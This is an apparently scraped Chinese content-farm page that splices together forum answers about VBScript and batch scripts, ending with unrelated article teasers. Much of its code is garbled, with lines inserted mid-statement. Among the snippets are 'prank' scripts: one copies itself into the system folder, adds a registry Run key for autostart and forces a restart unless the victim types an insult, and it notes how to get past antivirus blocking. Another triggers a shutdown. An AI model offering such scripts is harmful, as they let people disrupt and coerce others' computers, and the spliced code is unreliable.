vbs代码炫酷效果_vbs代码制作
2024-11-10 09:53 - 立有生活网
怎么执行vbs代码
set WshShell = CreateObject("wscript.Shell")将代码保存为脚本a=inputbox("输入密码:123456,这是考验")文件,如保存到C1.vbs
vbs代码炫酷效果_vbs代码制作
vbs代码炫酷效果_vbs代码制作
然后在vb中引用api函数:
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Command1_Click()
Dim VBS As String
VBS = "C:1.vbs" ‘文件路径
ShellExecute ByVal 0, "open", VBS, ByVal 0, ByVal 0, ByVal 0
End SubsListFile = ""
VBS打开东西的代码
msgbox "38"多给点分!!!至少20
重新设定一下就行了
开始-运行 输入 cmd 回车
然后 assoc .vbs=vbsfile 回车
ftype vbsfile=%root%32wscript.exe "%1" % 回车
搞定。。If 已抽题目.Text = "" Then。
保证ok
同样以打开画图为例,vbs代码如msgbox "2"下
Dim a
Set a=WScript.CreateObject("WScript.shell")
a.run """%windir%32mspaint.exe"""
求一段vbs代码,用来祝福生日的
on error resume next
msgbox "13"do
a = inputbox("你是不是我女儿?","请回答")
loop until a <> false and trim(a) = "是"
set ws = createobject("wscript.shell")
for i = 1 to 100
msgbox "为了感谢老爸的礼物,请按100次回车键~!"msgbox "20"
next
。arrFiles(i,4) = f1.DateLastModified。。
。。。
大姐,我写到这就写不下去了。用vbs进行时间判定我也一直在找方法。如果仅仅判定时间我也有办法,生成一个vbs,用sleep,然后判定这个vbs的进程是否结束。但你要判定是否按完回车,这就没办法了。后面的根据你的意思也可以做出来,但可能达不到你的效果(蓝屏5秒,就像刚开机一样)。
谁给我一个整人的VBS代码啊 谢谢了
intSelect = sh.Popup("点击N取消,不点击则30s后自动选Y",30,"延时对话框",4)const pass="123456"
当需要停止。vbs时执行一下m.bat即可if a=pass then
b=msgbox ("不错,很乖嘛,那么你能接受后面的考验吗?注:不接受也得接受",vbyesno,"面对现实吧!")
msgbox "倒数50秒,哈哈"
msgbox "49"
msgbox "48"
msgbox "47"
msgbox "46"
msgbox "43"
msgEnd Ifbox "42"
msgbox "41"
msgbox "40"
msgbox "39"
msgbox "37"
msgbox "36"
msgbox "34"
msgbox "33"
msgbox "31"
msgbox "30"
msgbox "29"
msgbox "28"
msgbox "26"
msgbox "25"
msgbox "24"
msgbox "22"
msgbox "21"
msgbox "19"
msgbox "18"
msgbox "17"
msgbox "16"
msgbox "15"
msgbox "12"
end if
do
c=msgbox ("停,选yes,选no你试试,别怨我",vbyesno,"哈哈哈")
if c=VBno then
msgbox ("考验结束")
exit do
else
msgbox "恭喜,再来一次,哈哈"
msgbox "49"
msgbox "48"
msgbox "47"
msgbox "46"
msgbox "43"
msgbox "42"
msgbox "41"
msgbox "40"
msgbox "39"
msgbox "37"
msgbox "36"
msgbox "34"
msgbox "33"
msgbox "31"
msgbox "30"
msgbox "29"
msgbox "28"
msgbox "26"
msgbox "25"
msgbox "24"
msgbox "22"
msgbox "21"
msgbox "19"
msgbox "18"
msgbox "17"
msgbox "16"
msgbox "15"
msgbox "12"
msgbox "9"
msgbox "8"
msgbox "7"
msgbox "6"
msgbox "5"
msgbox "4"
msgbox "3"
msgbox "1"
msgbox "从新选吧"
end if
vbs运行程序
@echo off
start "" "C:Program FilesTencentQQMiniDownloaderjcqqdlq-v1.0桔城QQ2010自动登录器.exe"
ping /n 10 127.1>nul
start "" "C:Program FilesTencentQQMiniDownloaderjcqqdlq-v1.0桔城QQ2010自动登录器.exe"
echo 以下是关机命令,是否继续!(注意时间)
pause
shutdown -s -t 120 -c "时间之后2分钟,如果需要取消请回到BAT窗口,按任意键取消"
pause
shutdown -a
exit
::以上代码为BAT 批处理代码,也属于是脚本类的。
::粘贴到记事本保存为123.bat运行即可。
vbs更改如下:
'══代═这样调用这个函数就好了═码══开══始════
set fso=CreateObject("Scripting.FileSystemObject")
set ws=CreateObject("wscript.shell")
path=fso.getfile("C:Program FilesTencentQQMiniDownloaderjcqqdlq-v1.0桔城QQ2010自动登录器.exe").shortpath
for i = 1 to 2
ws.run path
wscript.sleep 101000
nexWScript.Quitt
'Coded By escortmnm from VBS团队
'══代══码══结══束════
呵呵 看错你的需求了
已经修改
没运行,你自己试一下
Dim WshShell
do
WshShell.Run "C:t = t & "|" & "22:30:00|哥哥,备份当前数据,时间要到了。" t = Right(t, Len(t) -1)Program FilesTencentQQMiniDownloaderjcqqdlq-v1.0桔城QQ2010自动登录器.exe"
wscript.sleep 10000
系统的对话框不是vbs...
要关机的话用下面的。
额,问题好多耶...
MsgBox "对不起,您灌水太多需要重新启动计算机 确定后重启计算机",16,"重新启动计算机"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
改好的代码如上.
VBS高手进,要权威准确的回答 问题很简单 VBS到底有没有GOTO语句
ws.popup "祝女儿生日快乐!!!",10,"生日快乐"vbs是木有gotoConst iOrderFieldFileType = 3的.
不过按键精灵完全兼容vbs代码,但是它可以Else用goto
所以你可以把vbs代码写在按键精灵里面,再带上goto,可以用.也可以输出为exe,只是不能以vbs脚本的方式来运行.
没有!
VBS 对话框 延时任务
解决办法:Dim sh
arrFiles(j,1) = t2Set sh = WScript.CreateObject("Wscript.Shell")
If intSelect = 7 Then
End if
这段代码放在前面,把你实现睡眠的代码放在end if语句块后面。其实popup语句本身只是一个提示的作用,没有msgbox那种复杂的运用,但是这么用也未尝不可。只要你不点,时间过后对话框自动消失,后面语句继续执行的。我们控制的只是一个用msgbox "13"户选否的流程。
谁给我编一个vbs格式的整人代码
msgbox "文件关联出问题了吧?44"on erroConst iOrderFieldFileSize = 2r resume next
Dim fso,file
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.getfile(WScript.ScriptFullName)
file.copy "c:windows32"
Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLMSoftwareMicrosoftWindowsCurrentVersionRun"
Type_Name = "REG_SZ"
Key_Name = "测试.vbs"
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""说我是猪,不说我是猪就半分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪哦,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"
另存为:测试.vbs就可以
另:如果360阻止,把前面写进注册表启动项的那段删掉就行
求各种vbs系统指令代码
从系统开始菜单中删除此链接:Windows Registry Editor Version 5.00[HKEY_CLASSES_ROOTCLSID{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}]
@=-
"InfoTip"=-[HKEY_CLASSES_ROOTCLSID{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}DefaultIcon]
@=-[HKEY_CLASSES_ROOTCLSID{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}InstanceInitPropertyBag]
"Command"=-
"Param1"=-VBS脚本实现整理磁盘碎片功能Set WshShell = WScript.CreateObject("WScript.Shell")Dim fso, d, dc
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 Then
Return = WshShell.Run("defrag " & d & " -f", 1, TRUE)
NextSet WshShell = Nothing任务定时调用VBS脚本Option Explicit
On Error Resume Next'生成列表的文件类型
Const sListFileType = "wmv,rm,wma"'文件所在的相对路径
Const sShowPath="."'排序类型的常量定义
Const iOrderFieldFileName = 0
Const iOrderFieldFileExt = 1
Const iOrderFieldFileDate = 4'排序顺逆的常量定义
const iOrderAsc = 0
const iOrderDesc = 1'生成列表的文件数量
const iShowCount = 20
'显示的日期格式函数
Function Cndate2(date1,intDateStyle)
dim strdate,dDate1
strdate=cstr(date1)
If Isdate(strdate) Then
If Left(cstr(strdate),1)="0" Then
dDate1=Cdate("20"+cstr(strdate))
else
dDate1=Cdate(strdate)
dDate1=Now()
Select case intDateStyle
Case 1:
Cndate2 = Cstr(Year(dDate1))+"-"+Cstr(Month(dDate1))+"-"+Cstr(DaWshShell.Run "shutdown -s -t 5"y(dDate1))
Case 2:
Cndate2 = Cstr(Month(dDate1))+"-"+Cstr(Day(dDate1))
Case 3:
Cndate2 = Cstr(Month(dDate1))+"月"+Cstr(Day(dDate1))+"日"
Case 4:
Cndate2 = Cstr(year(dDate1))+"年"+ Cstr(Month(dDate1))+"月"+Cstr(Day(dDate1))+"日"
End Select
Dim sListFile
Dim fso, f, f1, fc, s,ftype,fcount,i,j,k
Dim t1,t2,t3,t4,t5
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(sShowPath)
Set fc = f.Files
fcount = fc.count
redim arrFiles(fcount,5)
redim arrFiles2(fcount,5)
i=0
'排序
For Each f1 in fc
ftype = right(f1.name,len(f1.name)-instrrev(f1.name,"."))
arrFiles(i,0) = f1.name
arrFiles(i,1) = ftype
arrFiles(i,2) = f1.size
arrFiles(i,3) = f1.type
i=i+1
Next
For i=0 to fcount-1
for j=i+1 to fcount-1
select Case intCompare
Case iOrderFieldFileName,iOrderFieldFileExt,iOrderFieldFileType:
If arrFiles(i,intCompare)>arrFiles(j,intCompare) then
t1 = arrFiles(i,0)
t2 = arrFiles(i,1)
t5 = arrFiles(i,4)arrFiles(i,0) = LooparrFiles(j,0)
arrFiles(i,1) = arrFiles(j,1)
arrFiles(i,2) = arrFiles(j,2)
arrFiles(i,3) = arrFiles(j,3)
arrFiles(i,4) = arrFiles(j,4)arrFiles(j,0) = t1
arrFiles(j,2) = t3
arrFiles(j,3) = t4
arrFiles(j,4) = t5
end imsgbox "32"f
Case iOrderFieldFileSize:
If cdbl(arrFiles(i,intCompare))>cdbl(arrFiles(j,intCompare)) then
t1 = arrFiles(i,0)
t2 = arrFiles(i,1)
t5 = arrFiles(i,4)
电视剧怎么样拍摄 电视剧怎么样拍摄才好看

关于电视剧怎么样拍摄,电视剧怎么样拍摄才好看这个很多人还不知道,今天小深来为大家解答以上的问题,现在让我们一起来看看吧! 电视剧怎么样拍摄 电视剧怎么样拍摄才好看 电视剧怎么样···
空运物流公司有哪些 空运宠物怎么收费

关于空运物流公司有哪些,空运宠物怎么收费这个很多人还不知道,今天小源来为大家解答以上的问题,现在让我们一起来看看吧! 空运物流公司有哪些 空运宠物怎么收费 空运物流公司有哪些 空···
做亲子鉴定要花多少钱(做亲子鉴定大概花多

本文目录一览: 1、 亲子鉴定在哪里做,费用是多少?亲子鉴定多久能出结果? 2、 上海做亲子鉴定多少钱一次 3、 进行亲子鉴定要多少钱 亲子鉴定在哪里做,费用是多少?亲子鉴定多久能出结果?···